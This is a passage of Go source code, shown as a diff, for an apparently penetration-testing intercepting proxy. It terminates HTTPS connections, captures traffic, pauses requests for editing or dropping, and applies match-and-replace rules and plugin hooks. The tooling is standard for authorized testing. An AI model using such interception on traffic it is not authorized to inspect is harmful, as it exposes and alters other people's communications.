h.emit(eventInterceptQueued(id, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq))
decision, _ := h.intercept.Pause(id, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq)
h.emit(eventInterceptResolved(id, decision.Action))
if decision.Action == ActionDrop {
http.Error(w, "request dropped by intercept", http.StatusForbidden)
return
}
if len(decision.ReqData) > 0 {
var err error
r, err = parseRequest(decision.ReqData)
if err != nil {
http.Error(w, "invalid modified request", http.StatusBadRequest)
return
}
}
}
// Apply request match/replace rules.
if h.replace != nil && h.replace.IsEnabled() {
r = applyRequestReplace(h.replace, r)
rawReq, _ = dumpRequest(r, true)
}
// Apply custom data additions.
r = applyCustomData(h.customData, r)
rawReq, _ = dumpRequest(r, true)
// Run plugin request hooks.
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: r.Host}
modified, err := h.hookRunner.RunRequestHook(r.Context(), hookInfo, rawReq)
if err == nil && modified == nil {
http.Error(w, "request dropped by plugin", http.StatusForbidden)
return
}
if err == nil && modified != nil {
if parsed, parseErr := parseRequest(modified); parseErr == nil {
r = parsed
rawReq = modified
}
}
}
r.Header.Del("Accept-Encoding")
transport := h.transport.Transport()
resp, err := transport.RoundTrip(r)
if err != nil {
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
captured := buildUpstreamErrorCapture(id, start, r.Method, r.URL.String(), r.Host, "HTTP/1.1", rawReq, err.Error())
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
return
}
defer resp.Body.Close()
// Strip headers that can cause browsers to bypass the proxy (e.g. HTTP/3 via QUIC).
resp.Header.Del("Alt-Svc")
var rawResp []byte
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
// Buffered path: need full body to apply response replace rules.
resp = applyResponseReplace(h.replace, resp)
rawResp = readAndCaptureResponse(resp)
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.WriteHeader(resp.StatusCode)
copyBody(w, resp.Body)
} else {
// Streaming path: forward headers+body immediately.
rawResp = streamAndCaptureHTTP(resp, w)
}
// Run plugin response hooks.
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: r.Host}
if modified, err := h.hookRunner.RunResponseHook(r.Context(), hookInfo, rawResp); err == nil && modified != nil {
rawResp = modified
}
}
duration := timeSince(start)
captured := &CapturedRequest{
ID: id,
Timestamp: start,
Method: r.Method,
URL: r.URL.String(),
Host: r.Host,
Protocol: "HTTP/1.1",
StatusCode: resp.StatusCode,
ContentType: resp.Header.Get("Content-Type"),
Duration: duration,
ResponseSize: len(rawResp),
ReqRaw: rawReq,
RespRaw: rawResp,
}
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
}
// emit sends an event on the broadcast channel without blocking.
func (h *Handler) emit(e any) {
if h.broadcast == nil {
return
}
select {
case h.broadcast <- e:
default:
}
}
// GenerateID returns a new unique hex string ID.
func GenerateID() string {
b := make([]byte, 16)
readRand(b)
return toHexID(b)
}
+322
View File
@@ -0,0 +1,322 @@
package proxy
import (
"bufio"
"bytes"
"crypto/rand"
"encoding/hex"
"fmt"
"io"
"net"
"net/http"
"net/http/httputil"
"strconv"
"strings"
"time"
"github.com/BishopFox/joro/internal/event"
)
// urlHostWithPort returns hostPort with the default port for scheme stripped
// so URL.String() omits :443 for https and :80 for http while preserving any
// non-default port. e.g. ("example.com:443", "https") -> "example.com";
// ("example.com:8443", "https") -> "example.com:8443".
func urlHostWithPort(hostPort, scheme string) string {
h, p, err := net.SplitHostPort(hostPort)
if err != nil {
return hostPort
}
if (scheme == "https" && p == "443") || (scheme == "http" && p == "80") {
return h
}
return hostPort
}
// stripHopHeaders removes hop-by-hop headers and proxy-interfering headers
// from an upstream response so the proxy manages its own connection semantics
// with the browser independently. It also resets resp.Close so that
// resp.Write uses proper framing (Content-Length or chunked) instead of
// relying on connection close to delimit the body.
func stripHopHeaders(resp *http.Response) {
resp.Header.Del("Connection")
resp.Header.Del("Keep-Alive")
resp.Header.Del("Proxy-Authenticate")
resp.Header.Del("Proxy-Authorization")
resp.Header.Del("Te")
resp.Header.Del("Trailer")
resp.Header.Del("Transfer-Encoding")
resp.Header.Del("Upgrade")
resp.Header.Del("Alt-Svc")
resp.Close = false
// Nil out the upstream request reference so resp.Write does not inherit
// the transport's Close flag from it (Go sets Request.Close = true when
// DisableKeepAlives is enabled).
resp.Request = nil
}
// maxCaptureBody is the maximum response body size to capture (10 MB).
const maxCaptureBody = 10 << 20
// readAndCaptureResponse reads the response body once (with a size limit),
// builds rawResp bytes for capture, and restores resp.Body for forwarding.
// This avoids the double-read pattern of dumpResponse + resp.Write and
// prevents indefinite hangs on streaming responses.
func readAndCaptureResponse(resp *http.Response) []byte {
bodyBytes, _ := io.ReadAll(io.LimitReader(resp.Body, maxCaptureBody+1))
resp.Body.Close()
if len(bodyBytes) > maxCaptureBody {
bodyBytes = bodyBytes[:maxCaptureBody]
}
// Restore body for forwarding (caller re-establishes framing).
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
// Build rawResp from a shallow copy with chunked encoding cleared and
// content length set, so DumpResponse emits a Content-Length-framed dump
// instead of re-encoding the already-decoded body as chunked.
capturedResp := *resp
capturedResp.TransferEncoding = nil
capturedResp.ContentLength = int64(len(bodyBytes))
capturedResp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
return rawResp
}
// limitWriter wraps a writer and silently stops writing after n bytes.
// It always reports success to the caller so the TeeReader stream is not interrupted.
type limitWriter struct {
w io.Writer
n int
}
func (lw *limitWriter) Write(p []byte) (int, error) {
if lw.n <= 0 {
return len(p), nil // discard, but report full write
}
if len(p) > lw.n {
p = p[:lw.n]
}
n, err := lw.w.Write(p)
lw.n -= n
if err != nil {
// Don't propagate write errors to the tee stream.
return len(p), nil
}
return len(p), nil
}
// streamAndCaptureResponse streams the response to dst (a MITM TLS conn) while
// simultaneously capturing the raw response (headers + body up to maxCaptureBody).
// Returns the captured raw response bytes.
func streamAndCaptureResponse(resp *http.Response, dst net.Conn) []byte {
resp.Proto = "HTTP/1.1"
resp.ProtoMajor = 1
resp.ProtoMinor = 1
// Ensure the proxy controls connection framing to the browser: never rely
// on connection-close to delimit the body (the MITM loop keeps the conn
// alive). Force chunked when Content-Length is unknown.
resp.Close = false
resp.Header.Del("Connection")
if resp.ContentLength < 0 {
resp.TransferEncoding = []string{"chunked"}
}
var captureBuf bytes.Buffer
origBody := resp.Body
resp.Body = io.NopCloser(io.TeeReader(origBody, &limitWriter{w: &captureBuf, n: maxCaptureBody}))
// Write full response (headers + streaming body) to the client.
writeErr := resp.Write(dst)
origBody.Close()
// Build rawResp from captured data. The body in captureBuf is already
// dechunked, so clear TransferEncoding to prevent DumpResponse from
// re-emitting chunked framing in the stored bytes.
capturedResp := *resp
capturedResp.TransferEncoding = nil
capturedResp.Body = io.NopCloser(bytes.NewReader(captureBuf.Bytes()))
capturedResp.ContentLength = int64(captureBuf.Len())
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
_ = writeErr
return rawResp
}
// streamAndCaptureHTTP streams the response through an http.ResponseWriter while
// capturing raw response bytes (headers + body up to maxCaptureBody).
func streamAndCaptureHTTP(resp *http.Response, w http.ResponseWriter) []byte {
// Copy response headers.
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.WriteHeader(resp.StatusCode)
// Tee the body to both the client and a capture buffer.
var captureBuf bytes.Buffer
tee := io.TeeReader(resp.Body, &limitWriter{w: &captureBuf, n: maxCaptureBody})
io.Copy(w, tee) //nolint:errcheck
resp.Body.Close()
// Build rawResp for capture. Body in captureBuf is already dechunked, so
// clear TransferEncoding to avoid re-emitting chunked framing.
capturedResp := *resp
capturedResp.Proto = "HTTP/1.1"
capturedResp.ProtoMajor = 1
capturedResp.ProtoMinor = 1
capturedResp.TransferEncoding = nil
capturedResp.Body = io.NopCloser(bytes.NewReader(captureBuf.Bytes()))
capturedResp.ContentLength = int64(captureBuf.Len())
rawResp, _ := httputil.DumpResponse(&capturedResp, true)
return rawResp
}
// readRand fills b with cryptographically random bytes.
func readRand(b []byte) {
if _, err := rand.Read(b); err != nil {
panic("crypto/rand unavailable: " + err.Error())
}
}
// toHexID formats a 16-byte slice into a UUID-like hex string.
func toHexID(b []byte) string {
return fmt.Sprintf("%s-%s-%s-%s-%s",
hex.EncodeToString(b[0:4]),
hex.EncodeToString(b[4:6]),
hex.EncodeToString(b[6:8]),
hex.EncodeToString(b[8:10]),
hex.EncodeToString(b[10:16]),
)
}
// dumpRequest serialises an http.Request to bytes, restoring the body.
func dumpRequest(r *http.Request, withBody bool) ([]byte, error) {
return httputil.DumpRequest(r, withBody)
}
// dumpResponse serialises an http.Response to bytes, restoring the body.
func dumpResponse(r *http.Response, withBody bool) ([]byte, error) {
return httputil.DumpResponse(r, withBody)
}
// parseRequest reconstructs an *http.Request from raw bytes.
func parseRequest(raw []byte) (*http.Request, error) {
return http.ReadRequest(bufio.NewReader(bytes.NewReader(raw)))
}
// copyBody copies src to dst, discarding any error.
func copyBody(dst io.Writer, src io.Reader) {
io.Copy(dst, src) //nolint:errcheck
}
// UpdateContentLength recalculates the Content-Length header from the body size
// in a raw HTTP request. Used by the manipulate handler and fuzzer.
//
// Accepts either CRLF or LF header terminators (CodeMirror normalizes edits to
// LF), but always emits canonical CRLF. The body is preserved byte-for-byte —
// line endings inside the body are never touched.
func UpdateContentLength(raw []byte) []byte {
// Locate the header/body boundary: whichever of \r\n\r\n or \n\n appears
// first wins. This handles pure-CRLF (unedited), pure-LF (edited in
// CodeMirror), and mixed inputs.
crlfIdx := bytes.Index(raw, []byte("\r\n\r\n"))
lfIdx := bytes.Index(raw, []byte("\n\n"))
var headerEnd, sepLen int
switch {
case crlfIdx >= 0 && (lfIdx < 0 || crlfIdx <= lfIdx):
headerEnd, sepLen = crlfIdx, 4
case lfIdx >= 0:
headerEnd, sepLen = lfIdx, 2
default:
return raw
}
headers := raw[:headerEnd]
body := raw[headerEnd+sepLen:]
// Normalize header line endings so we can split cleanly regardless of input.
normalized := bytes.ReplaceAll(headers, []byte("\r\n"), []byte("\n"))
lines := bytes.Split(normalized, []byte("\n"))
var rebuilt [][]byte
found := false
for _, line := range lines {
if len(line) > 0 && strings.HasPrefix(strings.ToLower(string(line)), "content-length:") {
rebuilt = append(rebuilt, []byte("Content-Length: "+strconv.Itoa(len(body))))
found = true
} else {
rebuilt = append(rebuilt, line)
}
}
if !found && len(body) > 0 {
rebuilt = append(rebuilt, []byte("Content-Length: "+strconv.Itoa(len(body))))
}
result := bytes.Join(rebuilt, []byte("\r\n"))
result = append(result, []byte("\r\n\r\n")...)
result = append(result, body...)
return result
}
// buildUpstreamErrorCapture constructs a CapturedRequest representing the
// synthetic 502 the proxy returns to the client when an upstream RoundTrip
// fails (e.g. H2 RST_STREAM, dial error, TLS handshake failure). Without this,
// failed proxy attempts are invisible in History — the worst case for the
// operator, since the only missing requests are the ones joro itself rejected.
func buildUpstreamErrorCapture(id string, start time.Time, method, url, host, protocol string, rawReq []byte, errMsg string) *CapturedRequest {
body := "upstream error: " + errMsg + "\n"
statusLine := protocol
if statusLine == "" {
statusLine = "HTTP/1.1"
}
rawResp := fmt.Appendf(nil, "%s 502 Bad Gateway\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: %d\r\n\r\n%s",
statusLine, len(body), body)
return &CapturedRequest{
ID: id,
Timestamp: start,
Method: method,
URL: url,
Host: host,
Protocol: statusLine,
StatusCode: http.StatusBadGateway,
ContentType: "text/plain; charset=utf-8",
Duration: timeSince(start),
ResponseSize: len(rawResp),
ReqRaw: rawReq,
RespRaw: rawResp,
}
}
func eventRequestCaptured(r *CapturedRequest) event.WSEvent {
return event.WSEvent{Type: "request.captured", Data: r}
}
func eventInterceptQueued(id, method, url, host, protocol string, raw []byte) event.WSEvent {
return event.WSEvent{Type: "intercept.queued", Data: map[string]any{
"id": id,
"method": method,
"url": url,
"host": host,
"protocol": protocol,
"reqRaw": raw,
}}
}
func eventWSMessage(m *CapturedWSMessage) event.WSEvent {
return event.WSEvent{Type: "ws.message", Data: m}
}
func eventInterceptResolved(id string, action InterceptAction) event.WSEvent {
a := "forward"
if action == ActionDrop {
a = "drop"
}
return event.WSEvent{Type: "intercept.resolved", Data: map[string]any{
"id": id,
"action": a,
}}
}
+131
View File
@@ -0,0 +1,131 @@
package proxy
import (
"sync"
"time"
)
// InterceptAction describes the decision made for an intercepted request.
type InterceptAction int
const (
ActionForward InterceptAction = iota
ActionDrop
)
// InterceptDecision is sent back to the waiting handler goroutine.
type InterceptDecision struct {
Action InterceptAction
ReqData []byte // non-nil → use as replacement raw request bytes
}
// PendingRequest is an intercepted request waiting for a forward/drop decision.
type PendingRequest struct {
ID string `json:"id"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
Protocol string `json:"protocol,omitempty"`
ReqRaw []byte `json:"reqRaw"`
decision chan InterceptDecision
}
// InterceptQueue manages the set of paused requests and the enabled/disabled toggle.
type InterceptQueue struct {
mu sync.RWMutex
enabled bool
queue map[string]*PendingRequest
timeout time.Duration
}
// NewInterceptQueue creates an InterceptQueue with the given auto-forward timeout.
func NewInterceptQueue(timeout time.Duration) *InterceptQueue {
if timeout <= 0 {
timeout = 60 * time.Second
}
return &InterceptQueue{
queue: make(map[string]*PendingRequest),
timeout: timeout,
}
}
// IsEnabled reports whether interception is currently active.
func (q *InterceptQueue) IsEnabled() bool {
q.mu.RLock()
defer q.mu.RUnlock()
return q.enabled
}
// SetEnabled enables or disables interception.
func (q *InterceptQueue) SetEnabled(enabled bool) {
q.mu.Lock()
defer q.mu.Unlock()
q.enabled = enabled
}
// SetTimeout changes the auto-forward timeout.
func (q *InterceptQueue) SetTimeout(d time.Duration) {
q.mu.Lock()
defer q.mu.Unlock()
q.timeout = d
}
// Pause blocks the calling goroutine until a decision is made or the timeout fires.
// Returns (decision, true) on explicit decision, or (forward, false) on timeout.
func (q *InterceptQueue) Pause(id, method, rawURL, host, protocol string, rawReq []byte) (InterceptDecision, bool) {
pr := &PendingRequest{
ID: id,
Method: method,
URL: rawURL,
Host: host,
Protocol: protocol,
ReqRaw: rawReq,
decision: make(chan InterceptDecision, 1),
}
q.mu.Lock()
timeout := q.timeout
q.queue[id] = pr
q.mu.Unlock()
defer func() {
q.mu.Lock()
delete(q.queue, id)
q.mu.Unlock()
}()
select {
case d := <-pr.decision:
return d, true
case <-time.After(timeout):
return InterceptDecision{Action: ActionForward}, false
}
}
// Resolve sends a decision to the goroutine waiting on id. Returns false if id is unknown.
func (q *InterceptQueue) Resolve(id string, d InterceptDecision) bool {
q.mu.RLock()
pr, ok := q.queue[id]
q.mu.RUnlock()
if !ok {
return false
}
select {
case pr.decision <- d:
return true
default:
return false
}
}
// List returns a snapshot of all currently pending requests.
func (q *InterceptQueue) List() []*PendingRequest {
q.mu.RLock()
defer q.mu.RUnlock()
result := make([]*PendingRequest, 0, len(q.queue))
for _, pr := range q.queue {
result = append(result, pr)
}
return result
}
+255
View File
@@ -0,0 +1,255 @@
package proxy
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"net"
"net/http"
"time"
"github.com/BishopFox/joro/sdk"
)
// mitm performs TLS termination for CONNECT-tunnelled HTTPS traffic. hostPort
// is the original CONNECT target (e.g. "example.com:443"); hostname is the
// bare host used for cert lookup, scope, and the captured Host field. The
// connect-target port is preserved on req.URL.Host so non-default ports show
// up in History.
func (h *Handler) mitm(clientConn net.Conn, hostname, hostPort string) {
defer clientConn.Close()
tlsCert, err := h.certCache.Get(hostname)
if err != nil {
return
}
nextProtos := []string{"http/1.1"}
if h.transport != nil && h.transport.HTTP2() {
nextProtos = []string{"h2", "http/1.1"}
}
tlsConn := tls.Server(clientConn, &tls.Config{
Certificates: []tls.Certificate{*tlsCert},
NextProtos: nextProtos,
})
if err := tlsConn.Handshake(); err != nil {
return
}
defer tlsConn.Close()
if tlsConn.ConnectionState().NegotiatedProtocol == "h2" {
h.serveH2(tlsConn, hostname, hostPort)
return
}
urlHost := urlHostWithPort(hostPort, "https")
reader := bufio.NewReader(tlsConn)
for {
req, err := http.ReadRequest(reader)
if err != nil {
return
}
req.URL.Scheme = "https"
req.URL.Host = urlHost
req.RequestURI = ""
// WebSocket upgrade: branch into WS relay.
if isWebSocketUpgrade(req) {
h.handleWSUpgradeMITM(tlsConn, req, hostname)
return
}
if !h.scope.InScope(hostname, req.Method, req.URL.Path) {
transport := h.transport.Transport()
resp, err := transport.RoundTrip(req)
if err != nil {
writeSimpleResponse(tlsConn, http.StatusBadGateway, fmt.Sprintf("upstream error: %v", err))
continue
}
stripHopHeaders(resp)
resp.Proto = "HTTP/1.1"
resp.ProtoMajor = 1
resp.ProtoMinor = 1
if resp.ContentLength < 0 {
resp.TransferEncoding = []string{"chunked"}
}
if err := resp.Write(tlsConn); err != nil {
resp.Body.Close()
return
}
resp.Body.Close()
if req.Close {
return
}
continue
}
id := GenerateID()
start := timeNow()
rawReq, _ := dumpRequest(req, true)
if h.intercept.IsEnabled() {
h.emit(eventInterceptQueued(id, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq))
decision, _ := h.intercept.Pause(id, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq)
h.emit(eventInterceptResolved(id, decision.Action))
if decision.Action == ActionDrop {
writeSimpleResponse(tlsConn, http.StatusForbidden, "request dropped by intercept")
continue
}
if len(decision.ReqData) > 0 {
modified, parseErr := parseRequest(decision.ReqData)
if parseErr == nil {
modified.URL.Scheme = "https"
modified.URL.Host = urlHost
modified.RequestURI = ""
req = modified
rawReq = decision.ReqData
}
}
}
// Apply request match/replace rules.
if h.replace != nil && h.replace.IsEnabled() {
req = applyRequestReplace(h.replace, req)
req.URL.Scheme = "https"
req.URL.Host = urlHost
req.RequestURI = ""
rawReq, _ = dumpRequest(req, true)
}
// Apply custom data additions.
req = applyCustomData(h.customData, req)
rawReq, _ = dumpRequest(req, true)
// Run plugin request hooks.
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: req.Method, URL: req.URL.String(), Host: hostname}
modified, hookErr := h.hookRunner.RunRequestHook(req.Context(), hookInfo, rawReq)
if hookErr == nil && modified == nil {
writeSimpleResponse(tlsConn, http.StatusForbidden, "request dropped by plugin")
continue
}
if hookErr == nil && modified != nil {
if parsed, parseErr := parseRequest(modified); parseErr == nil {
parsed.URL.Scheme = "https"
parsed.URL.Host = urlHost
parsed.RequestURI = ""
req = parsed
rawReq = modified
}
}
}
req.Header.Del("Accept-Encoding")
transport := h.transport.Transport()
resp, err := transport.RoundTrip(req)
if err != nil {
writeSimpleResponse(tlsConn, http.StatusBadGateway, fmt.Sprintf("upstream error: %v", err))
captured := buildUpstreamErrorCapture(id, start, req.Method, req.URL.String(), hostname, "HTTP/1.1", rawReq, err.Error())
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
if req.Close {
return
}
continue
}
// Strip hop-by-hop and proxy-interfering headers. The proxy manages its
// own connection semantics with the browser independently of upstream.
stripHopHeaders(resp)
var rawResp []byte
connClose := req.Close
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
// Buffered path: need full body to apply response replace rules.
resp = applyResponseReplace(h.replace, resp)
rawResp = readAndCaptureResponse(resp)
resp.Proto = "HTTP/1.1"
resp.ProtoMajor = 1
resp.ProtoMinor = 1
resp.Close = false
resp.Header.Del("Connection")
if resp.ContentLength < 0 {
resp.TransferEncoding = []string{"chunked"}
}
if err := resp.Write(tlsConn); err != nil {
resp.Body.Close()
return
}
resp.Body.Close()
} else {
// Streaming path: forward headers+body immediately.
rawResp = streamAndCaptureResponse(resp, tlsConn)
}
// Run plugin response hooks.
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: req.Method, URL: req.URL.String(), Host: hostname}
if modified, hookErr := h.hookRunner.RunResponseHook(req.Context(), hookInfo, rawResp); hookErr == nil && modified != nil {
rawResp = modified
}
}
duration := timeSince(start)
captured := &CapturedRequest{
ID: id,
Timestamp: start,
Method: req.Method,
URL: req.URL.String(),
Host: hostname,
Protocol: "HTTP/1.1",
StatusCode: resp.StatusCode,
ContentType: resp.Header.Get("Content-Type"),
Duration: duration,
ResponseSize: len(rawResp),
ReqRaw: rawReq,
RespRaw: rawResp,
}
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
if connClose {
return
}
}
}
// writeSimpleResponse sends a minimal HTTP response over conn.
func writeSimpleResponse(conn net.Conn, status int, body string) {
resp := &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Header: http.Header{"Content-Type": {"text/plain"}, "Connection": {"close"}},
Body: nopReadCloser([]byte(body)),
Close: true,
}
resp.ContentLength = int64(len(body))
resp.Write(conn) //nolint:errcheck
}
// nopReadCloser wraps a byte slice as an io.ReadCloser.
func nopReadCloser(b []byte) *bytesReadCloser {
return &bytesReadCloser{r: bytes.NewReader(b)}
}
type bytesReadCloser struct{ r *bytes.Reader }
func (b *bytesReadCloser) Read(p []byte) (int, error) { return b.r.Read(p) }
func (b *bytesReadCloser) Close() error { return nil }
// timeNow and timeSince are vars so tests can override them.
var timeNow = time.Now
var timeSince = time.Since
+134
View File
@@ -0,0 +1,134 @@
package proxy
import (
"path/filepath"
"strings"
"sync"
)
// NoisePattern defines a host pattern to filter as noise.
type NoisePattern struct {
ID string `json:"id"`
Pattern string `json:"pattern"`
}
// NoiseFilter silently tunnels/forwards traffic matching known browser noise
// patterns (captive portal, telemetry, OCSP, etc.) without capture.
type NoiseFilter struct {
mu sync.RWMutex
enabled bool
patterns []NoisePattern
}
// defaultNoisePatterns returns the curated list of common browser noise hosts.
func defaultNoisePatterns() []NoisePattern {
hosts := []string{
// Firefox / Mozilla
"detectportal.firefox.com",
"*.mozilla.com",
"*.mozilla.org",
"*.mozilla.net",
"*.mozgcp.net",
// Chrome
"safebrowsing.googleapis.com",
"safebrowsing-cache.google.com",
"update.googleapis.com",
"optimizationguide-pa.googleapis.com",
"content-autofill.googleapis.com",
"clients.google.com",
"clients2.google.com",
"clients4.google.com",
// OCSP
"ocsp.pki.goog",
"ocsp.digicert.com",
"ocsp.sectigo.com",
"ocsp.usertrust.com",
// Apple
"captive.apple.com",
// Microsoft
"crl.microsoft.com",
}
patterns := make([]NoisePattern, len(hosts))
for i, h := range hosts {
patterns[i] = NoisePattern{ID: GenerateID(), Pattern: h}
}
return patterns
}
// NewNoiseFilter creates a NoiseFilter that is enabled by default with
// curated browser noise patterns.
func NewNoiseFilter() *NoiseFilter {
return &NoiseFilter{
enabled: true,
patterns: defaultNoisePatterns(),
}
}
// IsEnabled reports whether noise filtering is active.
func (nf *NoiseFilter) IsEnabled() bool {
nf.mu.RLock()
defer nf.mu.RUnlock()
return nf.enabled
}
// SetEnabled enables or disables noise filtering.
func (nf *NoiseFilter) SetEnabled(enabled bool) {
nf.mu.Lock()
defer nf.mu.Unlock()
nf.enabled = enabled
}
// Patterns returns a copy of the current noise patterns.
func (nf *NoiseFilter) Patterns() []NoisePattern {
nf.mu.RLock()
defer nf.mu.RUnlock()
out := make([]NoisePattern, len(nf.patterns))
copy(out, nf.patterns)
return out
}
// SetPatterns replaces all noise patterns.
func (nf *NoiseFilter) SetPatterns(patterns []NoisePattern) {
nf.mu.Lock()
defer nf.mu.Unlock()
nf.patterns = patterns
}
// AddPattern adds a new noise pattern and returns it with a generated ID.
func (nf *NoiseFilter) AddPattern(pattern string) NoisePattern {
p := NoisePattern{ID: GenerateID(), Pattern: pattern}
nf.mu.Lock()
defer nf.mu.Unlock()
nf.patterns = append(nf.patterns, p)
return p
}
// RemovePattern deletes a pattern by ID. Returns true if found.
func (nf *NoiseFilter) RemovePattern(id string) bool {
nf.mu.Lock()
defer nf.mu.Unlock()
for i, p := range nf.patterns {
if p.ID == id {
nf.patterns = append(nf.patterns[:i], nf.patterns[i+1:]...)
return true
}
}
return false
}
// IsNoisy checks if a host matches any enabled noise pattern.
func (nf *NoiseFilter) IsNoisy(host string) bool {
nf.mu.RLock()
defer nf.mu.RUnlock()
if !nf.enabled {
return false
}
host = strings.ToLower(host)
for _, p := range nf.patterns {
matched, err := filepath.Match(strings.ToLower(p.Pattern), host)
if err == nil && matched {
return true
}
}
return false
}
+43
View File
@@ -0,0 +1,43 @@
package proxy
import (
"context"
"fmt"
"net/http"
"time"
)
// Server wraps an HTTP proxy listener.
type Server struct {
bindAddr string
port int
handler *Handler
srv *http.Server
}
// NewServer creates a proxy Server on the given address and port.
func NewServer(bindAddr string, port int, handler *Handler) *Server {
return &Server{bindAddr: bindAddr, port: port, handler: handler}
}
// Start begins listening and blocks until ctx is cancelled.
func (s *Server) Start(ctx context.Context) error {
s.srv = &http.Server{
Addr: fmt.Sprintf("%s:%d", s.bindAddr, s.port),
Handler: s.handler,
ReadHeaderTimeout: 10 * time.Second,
IdleTimeout: 120 * time.Second,
}
go func() {
<-ctx.Done()
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
s.srv.Shutdown(shutCtx) //nolint:errcheck
}()
if err := s.srv.ListenAndServe(); err != http.ErrServerClosed {
return err
}
return nil
}
+202
View File
@@ -0,0 +1,202 @@
package proxy
import (
"bufio"
"bytes"
"io"
"net/http"
"regexp"
"strings"
"sync"
)
// MatchReplaceRule defines a single match-and-replace transformation.
type MatchReplaceRule struct {
ID string `json:"id"`
Target string `json:"target"` // "request_header", "request_body", "response_header", "response_body", "ws_message"
MatchType string `json:"matchType"` // "string" or "regex"
Match string `json:"match"`
Replace string `json:"replace"`
compiled *regexp.Regexp // cached for regex rules
}
// MatchReplace manages a set of match-and-replace rules applied to proxy traffic.
type MatchReplace struct {
mu sync.RWMutex
enabled bool
rules []MatchReplaceRule
}
// NewMatchReplace creates a disabled MatchReplace with no rules.
func NewMatchReplace() *MatchReplace {
return &MatchReplace{}
}
// IsEnabled reports whether match-and-replace is active.
func (mr *MatchReplace) IsEnabled() bool {
mr.mu.RLock()
defer mr.mu.RUnlock()
return mr.enabled
}
// SetEnabled enables or disables match-and-replace.
func (mr *MatchReplace) SetEnabled(enabled bool) {
mr.mu.Lock()
defer mr.mu.Unlock()
mr.enabled = enabled
}
// Rules returns a copy of the current rules.
func (mr *MatchReplace) Rules() []MatchReplaceRule {
mr.mu.RLock()
defer mr.mu.RUnlock()
out := make([]MatchReplaceRule, len(mr.rules))
copy(out, mr.rules)
return out
}
// SetRules replaces all match-and-replace rules, compiling regex patterns.
func (mr *MatchReplace) SetRules(rules []MatchReplaceRule) {
for i := range rules {
if rules[i].MatchType == "regex" {
rules[i].compiled, _ = regexp.Compile(rules[i].Match)
}
}
mr.mu.Lock()
defer mr.mu.Unlock()
mr.rules = rules
}
// AddRule adds a new rule with a generated ID. Returns the rule.
func (mr *MatchReplace) AddRule(target, matchType, match, replace string) MatchReplaceRule {
rule := MatchReplaceRule{
ID: GenerateID(),
Target: target,
MatchType: matchType,
Match: match,
Replace: replace,
}
if matchType == "regex" {
rule.compiled, _ = regexp.Compile(match)
}
mr.mu.Lock()
defer mr.mu.Unlock()
mr.rules = append(mr.rules, rule)
return rule
}
// RemoveRule deletes a rule by ID. Returns true if found.
func (mr *MatchReplace) RemoveRule(id string) bool {
mr.mu.Lock()
defer mr.mu.Unlock()
for i, r := range mr.rules {
if r.ID == id {
mr.rules = append(mr.rules[:i], mr.rules[i+1:]...)
return true
}
}
return false
}
// HasResponseRules reports whether any rules target response_header or response_body.
func (mr *MatchReplace) HasResponseRules() bool {
mr.mu.RLock()
defer mr.mu.RUnlock()
for _, r := range mr.rules {
if r.Target == "response_header" || r.Target == "response_body" {
return true
}
}
return false
}
// Apply runs all enabled rules matching the given target against data, returning the modified result.
func (mr *MatchReplace) Apply(target string, data []byte) []byte {
mr.mu.RLock()
defer mr.mu.RUnlock()
if !mr.enabled {
return data
}
for _, r := range mr.rules {
if r.Target != target {
continue
}
if r.MatchType == "regex" {
if r.compiled != nil {
data = r.compiled.ReplaceAll(data, []byte(r.Replace))
}
} else {
data = []byte(strings.ReplaceAll(string(data), r.Match, r.Replace))
}
}
return data
}
// applyRequestReplace applies request_header and request_body rules to an *http.Request.
func applyRequestReplace(mr *MatchReplace, r *http.Request) *http.Request {
raw, err := dumpRequest(r, true)
if err != nil {
return r
}
sep := []byte("\r\n\r\n")
parts := bytes.SplitN(raw, sep, 2)
headerBytes := mr.Apply("request_header", parts[0])
var bodyBytes []byte
if len(parts) > 1 {
bodyBytes = mr.Apply("request_body", parts[1])
}
modified := append(headerBytes, sep...)
modified = append(modified, bodyBytes...)
parsed, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(modified)))
if err != nil {
return r
}
// Preserve original URL scheme/host.
parsed.URL.Scheme = r.URL.Scheme
parsed.URL.Host = r.URL.Host
parsed.RequestURI = ""
return parsed
}
// applyResponseReplace applies response_header and response_body rules to an *http.Response.
func applyResponseReplace(mr *MatchReplace, resp *http.Response) *http.Response {
// Buffer body and dump from a shallow copy with chunked encoding cleared,
// so response_body match/replace rules see the decoded bytes rather than
// chunk-size markers from a re-encoded chunked dump.
rawBody, _ := io.ReadAll(resp.Body)
resp.Body.Close()
capturedResp := *resp
capturedResp.TransferEncoding = nil
capturedResp.ContentLength = int64(len(rawBody))
capturedResp.Body = io.NopCloser(bytes.NewReader(rawBody))
raw, err := dumpResponse(&capturedResp, true)
if err != nil {
return resp
}
sep := []byte("\r\n\r\n")
